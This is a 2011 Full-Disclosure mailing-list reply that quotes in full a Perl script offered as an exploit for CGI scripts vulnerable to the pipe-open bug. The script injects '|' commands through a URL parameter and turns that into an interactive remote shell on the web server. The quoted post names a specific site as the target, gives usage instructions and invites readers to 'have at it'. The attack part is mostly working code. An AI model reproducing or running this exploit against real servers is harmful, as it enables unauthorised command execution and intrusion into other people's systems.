full-disclosure - Re: perl pipe exploit (drops you at a shell)

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Date: Sat, 15 Oct 2011 19:01:50 -0300
From: Marshall Whittaker <marshallwhittaker@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: perl pipe exploit (drops you at a shell)

Well shit.  It did send twice. :(  Now I look like a goof, haha.

On Sat, Oct 15, 2011 at 6:58 PM, Marshall Whittaker <
marshallwhittaker@...il.com> wrote:

> This works off the perl pipe read bug, you can just input the first and
> second parts of the web address (with http:// included) and it'll drop you
> at a shell.  When using cd you must use the absolute path because I was too
> lazy to do it the correct way. ;-).  I know this is pretty easy stuff, it
> works off those vulns that can just be exploited with a web browser, but
> this gives you a shell.  So have at it guys & gals!  Had to resend because I
> got some message about my attachment being blocked.  Not sure if it really
> was, though, I'll send again anyway.  Hope this isn't spamming the list. =/
>
> Site:
> http://ultimategto.com/cgi-bin/statsedittext.cgi?filename=stats/1966vinmatrix.htm&desc=Stat+File
> Useage: ./sublime.pl "
> http://ultimategto.com/cgi-bin/statsedittext.cgi?filename="
> "&desc=Stat+File"
>
> Should work on most perl cgi scripts that are vulnerable to | read bug.
>  Please note, it's not a "real" shell, but almost everything works, except
> things that won't go in one instance like cd-ing and env vars, etc.
>
> Play nice!
>
> --oxagast
>
> [CODE]
>
> #!/usr/bin/perl
>
> # adaptive cgi shell by oxagast
>
> use LWP::Simple;
> $part1 = @ARGV[0]; $part2 = @ARGV[1];
> print "Making buffer...\n";
> for $bet (100..200) {
> $bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";
> }
> print "Exploiting...\n";
> $id = get("$part1\|id\|$part2");
> $id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;
> print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";
> $uid = $1;
> print "$uid\n";
> while (0 == 0) {
> print "\$ ";
> $cmd = <STDIN>;
>  chomp($cmd);
> if ($cmd =~ m/cd (\/.*)/) {
> $dir = $1;
>  }
> if ($cmd eq "cd ..") {
> $dir =~ s/(.*)\/.*/\/\1/;
>  }
> if ($cmd eq "pwd") {
> $dirjunk = $dir;
>  if ($dirjunk eq "//") {
> $dirjunk = "/";
> }
>  }
> $dirjunk = "cd $dir\;$cmd";
>  $cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");
> $cmdhex =~ s/(..)/\\\\x$1/g;
>  get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");
> $backjunk2 = get("$part1\|cat /tmp/buff\|$part2");
>  @backjunk = split("\n", $backjunk2);
> get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");
>  get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");
> $backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");
>  @backjunk_split = split("\n", $backjunk_as);
> $backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");
>  $backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;
> $thismanylines = $1 - 1;
> for $junknum (0..scalar(@backjunk_split)) {
>  for $fuzz (10..100+$thismanylines) {
> if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {
>  $middle = $1;
> @backjunk[$junknum] =~ m/(.*)\Q$middle\E/;
> @backjunk_split[$junknum] =~ s/$1//;
>  @backjunk[$junknum] =~ m/\Q$middle\E(.*)/;
> @backjunk_split[$junknum] =~ s/$1//;
>  print "$backjunk_split[$junknum]\n";
> }
> }
>  }
> }
>
> [/CODE]
>

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